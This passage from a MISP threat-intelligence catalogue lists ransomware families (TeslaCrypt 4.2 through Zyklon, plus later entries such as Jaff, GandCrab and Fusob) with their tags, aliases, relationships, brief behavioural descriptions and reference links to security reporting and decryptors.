http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/
https://www.endgame.com/blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack-chain

TeslaCrypt 4.2

Ransomware

The tag is: misp-galaxy:ransomware="TeslaCrypt 4.2"

Table 3946. Table References
Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/
http://www.bleepingcomputer.com/news/security/teslacrypt-4-2-released-with-quite-a-few-modifications/

Threat Finder

Ransomware Files cannot be decrypted Has a GUI

The tag is: misp-galaxy:ransomware="Threat Finder"

TorrentLocker

Ransomware Newer variants not decryptable. Only first 2 MB are encrypted

The tag is: misp-galaxy:ransomware="TorrentLocker"

TorrentLocker is also known as:

Crypt0L0cker
CryptoFortress
Teerac

TorrentLocker has relationships with:

similar: misp-galaxy:ransomware="CryptoFortress" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 3947. Table References
Links
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/
https://twitter.com/PolarToffee/status/804008236600934403
http://blog.talosintelligence.com/2017/03/crypt0l0cker-torrentlocker-old-dog-new.html
http://id-ransomware.blogspot.ru/2016/05/torrentlocker-ransomware-aes-cbc-2048.html

TowerWeb

Ransomware

The tag is: misp-galaxy:ransomware="TowerWeb"

Table 3948. Table References
Links
http://www.bleepingcomputer.com/forums/t/618055/towerweb-ransomware-help-support-topic-payment-instructionsjpg/
https://id-ransomware.blogspot.com/2016/06/towerweb-ransonware-100.html

Toxcrypt

Ransomware

The tag is: misp-galaxy:ransomware="Toxcrypt"

Table 3949. Table References
Links
https://id-ransomware.blogspot.com/2016/06/toxcrypt-ransomware-aes-crypto-0.html

Trojan

Ransomware

The tag is: misp-galaxy:ransomware="Trojan"

Trojan is also known as:

BrainCrypt

Table 3950. Table References
Links
https://download.bleepingcomputer.com/demonslay335/BrainCryptDecrypter.zip
https://twitter.com/PolarToffee/status/811249250285842432
http://id-ransomware.blogspot.com/2016/12/braincrypt-ransomware.html

Troldesh orShade, XTBL

Ransomware May download additional malware after encryption

The tag is: misp-galaxy:ransomware="Troldesh orShade, XTBL"

Table 3951. Table References
Links
https://www.nomoreransom.org/uploads/ShadeDecryptor_how-to_guide.pdf
http://www.nyxbone.com/malware/Troldesh.html
https://www.bleepingcomputer.com/news/security/kelihos-botnet-delivering-shade-troldesh-ransomware-with-no-more-ransom-extension/
https://id-ransomware.blogspot.com/2016/06/troldesh-ransomware-email.html

TrueCrypter

Ransomware

The tag is: misp-galaxy:ransomware="TrueCrypter"

Table 3952. Table References
Links
http://www.bleepingcomputer.com/news/security/truecrypter-ransomware-accepts-payment-in-bitcoins-or-amazon-gift-card/
http://id-ransomware.blogspot.com/2016/04/truecrypter-ransomware.html

Turkish

Ransomware

The tag is: misp-galaxy:ransomware="Turkish"

Table 3953. Table References
Links
https://twitter.com/struppigel/status/821991600637313024

Turkish Ransom

Ransomware

The tag is: misp-galaxy:ransomware="Turkish Ransom"

Table 3954. Table References
Links
http://www.nyxbone.com/malware/turkishRansom.html

UmbreCrypt

Ransomware CrypBoss Family

The tag is: misp-galaxy:ransomware="UmbreCrypt"

Table 3955. Table References
Links
http://www.thewindowsclub.com/emsisoft-decrypter-hydracrypt-umbrecrypt-ransomware
https://id-ransomware.blogspot.com/2016/06/umbrecrypt-ransomware-aes.html

UnblockUPC

Ransomware

The tag is: misp-galaxy:ransomware="UnblockUPC"

Table 3956. Table References
Links
https://www.bleepingcomputer.com/forums/t/627582/unblockupc-ransomware-help-support-topic-files-encryptedtxt/
http://id-ransomware.blogspot.com/2016/09/unblockupc-ransomware.html

Ungluk

Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key

The tag is: misp-galaxy:ransomware="Ungluk"

Table 3957. Table References
Links
http://id-ransomware.blogspot.com/2016/05/bitmessage-ransomware-aes-256-25-btc.html

Unlock92

Ransomware

The tag is: misp-galaxy:ransomware="Unlock92 "

Table 3958. Table References
Links
https://twitter.com/malwrhunterteam/status/839038399944224768
http://id-ransomware.blogspot.com/2017/02/unlock26-ransomware.html

VapeLauncher

Ransomware CryptoWire variant

The tag is: misp-galaxy:ransomware="VapeLauncher"

Table 3959. Table References
Links
https://twitter.com/struppigel/status/839771195830648833

VaultCrypt

Ransomware

The tag is: misp-galaxy:ransomware="VaultCrypt"

VaultCrypt is also known as:

CrypVault
Zlader

VaultCrypt has relationships with:

similar: misp-galaxy:ransomware="Zlader" with estimative-language:likelihood-probability="likely"

Table 3960. Table References
Links
http://www.nyxbone.com/malware/russianRansom.html

VBRANSOM 7

Ransomware

The tag is: misp-galaxy:ransomware="VBRANSOM 7"

Table 3961. Table References
Links
https://twitter.com/BleepinComputer/status/817851339078336513

VenusLocker

Ransomware Based on EDA2

The tag is: misp-galaxy:ransomware="VenusLocker"

Table 3962. Table References
Links
https://blog.malwarebytes.com/threat-analysis/2016/08/venus-locker-another-net-ransomware/?utm_source=twitter&utm_medium=social
http://www.nyxbone.com/malware/venusLocker.html
https://id-ransomware.blogspot.com/2016/08/venuslocker-ransomware-aes-256.html

Virlock

Ransomware Polymorphism / Self-replication

The tag is: misp-galaxy:ransomware="Virlock"

Table 3963. Table References
Links
http://www.nyxbone.com/malware/Virlock.html
http://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/

Virus-Encoder

Ransomware

The tag is: misp-galaxy:ransomware="Virus-Encoder"

Virus-Encoder is also known as:

CrySiS

Table 3964. Table References
Links
http://www.welivesecurity.com/2016/11/24/new-decryption-tool-crysis-ransomware/
http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip
http://www.nyxbone.com/malware/virus-encoder.html
http://blog.trendmicro.com/trendlabs-security-intelligence/crysis-targeting-businesses-in-australia-new-zealand-via-brute-forced-rdps/

WildFire Locker

Ransomware Zyklon variant

The tag is: misp-galaxy:ransomware="WildFire Locker"

WildFire Locker is also known as:

Hades Locker

Table 3965. Table References
Links
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/
https://id-ransomware.blogspot.com/2016/06/wildfire-locker-ransomware-aes-256-cbc.html

Xorist

Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length

The tag is: misp-galaxy:ransomware="Xorist"

Table 3966. Table References
Links
https://support.kaspersky.com/viruses/disinfection/2911
https://decrypter.emsisoft.com/xorist
https://twitter.com/siri_urz/status/1006833669447839745
https://id-ransomware.blogspot.com/2016/06/xrtn-ransomware-rsa-1024-gnu-privacy.html

XRTN

Ransomware VaultCrypt family

The tag is: misp-galaxy:ransomware="XRTN "

You Have Been Hacked!!!

Ransomware Attempt to steal passwords

The tag is: misp-galaxy:ransomware="You Have Been Hacked!!!"

Table 3967. Table References
Links
https://twitter.com/malwrhunterteam/status/808280549802418181

Zcrypt

Ransomware

The tag is: misp-galaxy:ransomware="Zcrypt"

Zcrypt is also known as:

Zcryptor

Table 3968. Table References
Links
https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/
http://id-ransomware.blogspot.com/2016/05/zcrypt-ransomware-rsa-2048-email.html

Zimbra

Ransomware mpritsken@priest.com

The tag is: misp-galaxy:ransomware="Zimbra"

Table 3969. Table References
Links
http://www.bleepingcomputer.com/forums/t/617874/zimbra-ransomware-written-in-python-help-and-support-topic-crypto-howtotxt/
https://id-ransomware.blogspot.com/2016/06/zimbra-ransomware-aes-optzimbrastore.html

Zlader

Ransomware VaultCrypt family

The tag is: misp-galaxy:ransomware="Zlader"

Zlader is also known as:

Russian
VaultCrypt
CrypVault

Zlader has relationships with:

similar: misp-galaxy:ransomware="VaultCrypt" with estimative-language:likelihood-probability="likely"

Table 3970. Table References
Links
http://www.nyxbone.com/malware/russianRansom.html

Zorro

Ransomware

The tag is: misp-galaxy:ransomware="Zorro"

Table 3971. Table References
Links
https://twitter.com/BleepinComputer/status/844538370323812353
http://id-ransomware.blogspot.com/2017/03/zorro-ransomware.html

Zyklon

Ransomware Hidden Tear family, GNL Locker variant

The tag is: misp-galaxy:ransomware="Zyklon"

Zyklon is also known as:

GNL Locker

Zyklon has relationships with:

similar: misp-galaxy:ransomware="GNL Locker" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 3972. Table References
Links
http://id-ransomware.blogspot.com/2016/05/zyklon-locker-ransomware-windows-250.html

vxLock

Ransomware

The tag is: misp-galaxy:ransomware="vxLock"

Table 3973. Table References
Links
https://id-ransomware.blogspot.com/2017/01/vxlock-ransomware.html

Jaff

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

The tag is: misp-galaxy:ransomware="Jaff"

Jaff has relationships with:

similar: misp-galaxy:malpedia="Jaff" with estimative-language:likelihood-probability="likely"

Table 3974. Table References
Links
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html
https://www.bleepingcomputer.com/news/security/jaff-ransomware-distributed-via-necurs-malspam-and-asking-for-a-3-700-ransom/
http://id-ransomware.blogspot.com/2017/05/jaff-ransomware.html

Uiwix Ransomware

Using EternalBlue SMB Exploit To Infect Victims

The tag is: misp-galaxy:ransomware="Uiwix Ransomware"

Table 3975. Table References
Links
https://www.bleepingcomputer.com/news/security/uiwix-ransomware-using-eternalblue-smb-exploit-to-infect-victims/
http://id-ransomware.blogspot.com/2017/05/uiwix-ransomware.html

SOREBRECT

Fileless, Code-injecting Ransomware

The tag is: misp-galaxy:ransomware="SOREBRECT"

Table 3976. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/

Cyron

claims it detected "Children Pornsites" in your browser history

The tag is: misp-galaxy:ransomware="Cyron"

Table 3977. Table References
Links
https://twitter.com/struppigel/status/899524853426008064
https://id-ransomware.blogspot.com/2017/08/cyron-ransomware.html

Kappa

Made with OXAR builder; decryptable

The tag is: misp-galaxy:ransomware="Kappa"

Table 3978. Table References
Links
https://twitter.com/struppigel/status/899528477824700416

Trojan Dz

CyberSplitter variant

The tag is: misp-galaxy:ransomware="Trojan Dz"

Table 3979. Table References
Links
https://twitter.com/struppigel/status/899537940539478016

Xolzsec

ransomware written by self proclaimed script kiddies that should really be considered trollware

The tag is: misp-galaxy:ransomware="Xolzsec"

Table 3980. Table References
Links
https://twitter.com/struppigel/status/899916577252028416
http://id-ransomware.blogspot.com/2017/08/xolzsec-ransomware.html

FlatChestWare

HiddenTear variant; decryptable

The tag is: misp-galaxy:ransomware="FlatChestWare"

Table 3981. Table References
Links
https://twitter.com/struppigel/status/900238572409823232
https://id-ransomware.blogspot.com/2017/08/flatchestware-ransomware.html

SynAck

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user’s desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: misp-galaxy:ransomware="SynAck"

SynAck is also known as:

Syn Ack

SynAck has relationships with:

similar: misp-galaxy:malpedia="SynAck" with estimative-language:likelihood-probability="likely"

Table 3982. Table References
Links
https://www.bleepingcomputer.com/news/security/synack-ransomware-sees-huge-spike-in-activity/
https://www.bleepingcomputer.com/news/security/synack-ransomware-uses-process-doppelg-nging-technique/
https://id-ransomware.blogspot.com/2017/09/synack-ransomware.html

SyncCrypt

A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.

The tag is: misp-galaxy:ransomware="SyncCrypt"

SyncCrypt has relationships with:

similar: misp-galaxy:malpedia="SyncCrypt" with estimative-language:likelihood-probability="likely"

Table 3983. Table References
Links
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/
http://id-ransomware.blogspot.com/2017/08/synccrypt-ransomware.html

Bad Rabbit

On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

The tag is: misp-galaxy:ransomware="Bad Rabbit"

Bad Rabbit is also known as:

BadRabbit
Bad-Rabbit

Bad Rabbit has relationships with:

similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="NotPetya" with estimative-language:likelihood-probability="likely"

Table 3984. Table References
Links
http://blog.talosintelligence.com/2017/10/bad-rabbit.html
https://id-ransomware.blogspot.com/2017/10/badrabbit-ransomware.html
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://securelist.com/bad-rabbit-ransomware/82851/
http://www.intezer.com/notpetya-returns-bad-rabbit/

Halloware

A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.

The tag is: misp-galaxy:ransomware="Halloware"

Table 3985. Table References
Links
https://www.bleepingcomputer.com/news/security/halloware-ransomware-on-sale-on-the-dark-web-for-only-40/
http://id-ransomware.blogspot.com/2017/11/halloware-ransomware.html

StorageCrypt

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User’s have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named 美女与野兽.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野兽.exe file to other computers that open the folders on the NAS devices.

The tag is: misp-galaxy:ransomware="StorageCrypt"

Table 3986. Table References
Links
https://www.bleepingcomputer.com/news/security/storagecrypt-ransomware-infecting-nas-devices-using-sambacry/
https://id-ransomware.blogspot.com/2017/11/storagecrypter.html

HC7

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. Thi sis because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.

The tag is: misp-galaxy:ransomware="HC7"

Table 3987. Table References
Links
https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/
https://id-ransomware.blogspot.com/2017/12/hc7-ransomware.html

HC6

Predecessor of HC7

The tag is: misp-galaxy:ransomware="HC6"

Table 3988. Table References
Links
https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw
https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/
http://id-ransomware.blogspot.com/2017/11/hc6-ransomware.html

qkG

Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.

The tag is: misp-galaxy:ransomware="qkG"

Table 3989. Table References
Links
https://www.bleepingcomputer.com/news/security/qkg-ransomware-encrypts-only-word-documents-hides-and-spreads-via-macros/
http://id-ransomware.blogspot.com/2017/11/qkg-ransomware.html

Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file’s name with the ".[suupport@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

The tag is: misp-galaxy:ransomware="Scarab"

Table 3990. Table References
Links
https://www.bleepingcomputer.com/news/security/scarab-ransomware-pushed-via-massive-spam-campaign/
https://labsblog.f-secure.com/2017/11/23/necurs-business-is-booming-in-a-new-partnership-with-scarab-ransomware/
https://blogs.forcepoint.com/security-labs/massive-email-campaign-spreads-scarab-ransomware
https://twitter.com/malwrhunterteam/status/933643147766321152
https://myonlinesecurity.co.uk/necurs-botnet-malspam-delivering-a-new-ransomware-via-fake-scanner-copier-messages/
https://twitter.com/demonslay335/status/1006222754385924096
https://twitter.com/demonslay335/status/1006908267862396928
https://twitter.com/demonslay335/status/1007694117449682945
https://twitter.com/demonslay335/status/1049316344183836672
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/Amigo_A_/status/1039105453735784448
https://twitter.com/GrujaRS/status/1072057088019496960
http://id-ransomware.blogspot.com/2017/06/scarab-ransomware.html

File Spider

A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contains malicious Word documents that will download and install the File Spider ransomware onto a victims computer.File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam start with subjects like"Potrazivanje dugovanja", which translates to "Debt Collection" and whose message, according to Google Translate, appear to be in Serbian.

The tag is: misp-galaxy:ransomware="File Spider"

Table 3991. Table References
Links
https://www.bleepingcomputer.com/news/security/file-spider-ransomware-targeting-the-balkans-with-malspam/
http://id-ransomware.blogspot.com/2017/12/file-spider-ransomware.html

FileCoder

A barely functional piece of macOS ransomware, written in Swift.

The tag is: misp-galaxy:ransomware="FileCoder"

FileCoder is also known as:

FindZip
Patcher

FileCoder has relationships with:

similar: misp-galaxy:ransomware="Patcher" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 3992. Table References
Links
https://objective-see.com/blog/blog_0x25.html#FileCoder

MacRansom

A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.

The tag is: misp-galaxy:ransomware="MacRansom"

MacRansom has relationships with:

similar: misp-galaxy:malpedia="MacRansom" with estimative-language:likelihood-probability="likely"

Table 3993. Table References
Links
https://objective-see.com/blog/blog_0x25.html

GandCrab

A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld.

The tag is: misp-galaxy:ransomware="GandCrab"

GandCrab has relationships with:

dropped-by: misp-galaxy:exploit-kit="Fallout" with estimative-language:likelihood-probability="almost-certain"

Table 3994. Table References
Links
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/
https://www.bleepingcomputer.com/news/security/gandcrab-version-3-released-with-autorun-feature-and-desktop-background/
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/gandcrab-v5-ransomware-utilizing-the-alpc-task-scheduler-exploit/
https://id-ransomware.blogspot.com/2018/01/gandcrab-ransomware.html

ShurL0ckr

Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr’s operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.

The tag is: misp-galaxy:ransomware="ShurL0ckr"

Table 3995. Table References
Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Cryakl

ransomware

The tag is: misp-galaxy:ransomware="Cryakl"

Cryakl has relationships with:

similar: misp-galaxy:ransomware="Offline ransomware" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 3996. Table References
Links
https://sensorstechforum.com/fr/fairytail-files-virus-cryakl-ransomware-remove-restore-data/
https://www.technologynews.tech/cryakl-ransomware-virus
http://www.zdnet.com/article/cryakl-ransomware-decryption-keys-now-available-for-free/

Thanatos

first ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)

The tag is: misp-galaxy:ransomware="Thanatos"

Thanatos has relationships with:

similar: misp-galaxy:malpedia="Thanatos" with estimative-language:likelihood-probability="likely"

Table 3997. Table References
Links
https://mobile.twitter.com/EclecticIQ/status/968478323889332226
https://www.eclecticiq.com/resources/thanatos—ransomware-first-ransomware-ask-payment-bitcoin-cash?type=intel-report
http://id-ransomware.blogspot.com/2018/02/thanatos-ransomware.html

RSAUtil

RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.

The tag is: misp-galaxy:ransomware="RSAUtil"

RSAUtil is also known as:

Vagger
DONTSLIP

Table 3998. Table References
Links
https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks
https://www.bleepingcomputer.com/news/security/rsautil-ransomware-helppme-india-com-installed-via-hacked-remote-desktop-services/
http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html
http://id-ransomware.blogspot.lu/2017/04/

Qwerty Ransomware

A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim’s files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file’s name.

The tag is: misp-galaxy:ransomware="Qwerty Ransomware"

Table 3999. Table References
Links
https://www.bleepingcomputer.com/news/security/qwerty-ransomware-utilizes-gnupg-to-encrypt-a-victims-files/

Zenis Ransomware

A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.

The tag is: misp-galaxy:ransomware="Zenis Ransomware"

Table 4000. Table References
Links
https://www.bleepingcomputer.com/news/security/zenis-ransomware-encrypts-your-data-and-deletes-your-backups/
https://id-ransomware.blogspot.com/2018/03/zenis-ransomware.html

Flotera Ransomware

The tag is: misp-galaxy:ransomware="Flotera Ransomware"

Table 4001. Table References
Links
https://www.bleepingcomputer.com/news/security/author-of-polski-vortex-and-flotera-ransomware-families-arrested-in-poland/
http://id-ransomware.blogspot.com/2017/03/flotera-ransomware.html

Black Ruby

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine’s maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: misp-galaxy:ransomware="Black Ruby"

Table 4002. Table References
Links
https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

WhiteRose

A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.

The tag is: misp-galaxy:ransomware="WhiteRose"

Table 4003. Table References
Links
https://www.bleepingcomputer.com/news/security/the-whiterose-ransomware-is-decryptable-and-tells-a-strange-story/
http://id-ransomware.blogspot.com/2018/03/whiterose-ransomware.html

PUBG Ransomware

In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown’s Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user’s files and folders on the user’s desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.

The tag is: misp-galaxy:ransomware="PUBG Ransomware"

Table 4004. Table References
Links
https://www.bleepingcomputer.com/news/security/pubg-ransomware-decrypts-your-files-if-you-play-playerunknowns-battlegrounds/
https://id-ransomware.blogspot.com/2018/04/pubg-ransomware.html

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don’t take much time preparing the attack or the payload. Instead, they’re rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: misp-galaxy:ransomware="LockCrypt"

Table 4005. Table References
Links
https://www.bleepingcomputer.com/news/security/lockcrypt-ransomware-cracked-due-to-bad-crypto/
https://twitter.com/malwrhunterteam/status/1034436350748053504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
http://id-ransomware.blogspot.com/2017/06/lockcrypt-ransomware.html

Magniber Ransomware

Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.

The tag is: misp-galaxy:ransomware="Magniber Ransomware"

Table 4006. Table References
Links
https://www.bleepingcomputer.com/news/security/decrypters-for-some-versions-of-magniber-ransomware-released/
https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/
https://twitter.com/demonslay335/status/1005133410501787648
http://id-ransomware.blogspot.com/2017/10/my-decryptor-ransomware.html

Vurten

The tag is: misp-galaxy:ransomware="Vurten"

Table 4007. Table References
Links
https://twitter.com/siri_urz/status/981191281195044867
http://id-ransomware.blogspot.com/2018/04/vurten-ransomware.html

Reveton ransomware

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.

The tag is: misp-galaxy:ransomware="Reveton ransomware"

Table 4008. Table References
Links
https://www.bleepingcomputer.com/news/security/microsoft-engineer-charged-in-reveton-ransomware-case/
https://en.wikipedia.org/wiki/Ransomware#Reveton
https://nakedsecurity.sophos.com/2012/08/29/reveton-ransomware-exposed-explained-and-eliminated/

Fusob

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.

The tag is: misp-galaxy:ransomware="Fusob"

Table 4009. Table References
Links
https://en.wikipedia.org/wiki/Ransomware#Fusob

OXAR

The tag is: misp-galaxy:ransomware="OXAR"

Table 4010. Table References
Links
https://twitter.com/demonslay335/status/981270787905720320

BansomQare Manna Ransomware

The tag is: misp-galaxy:ransomware="BansomQare Manna Ransomware"

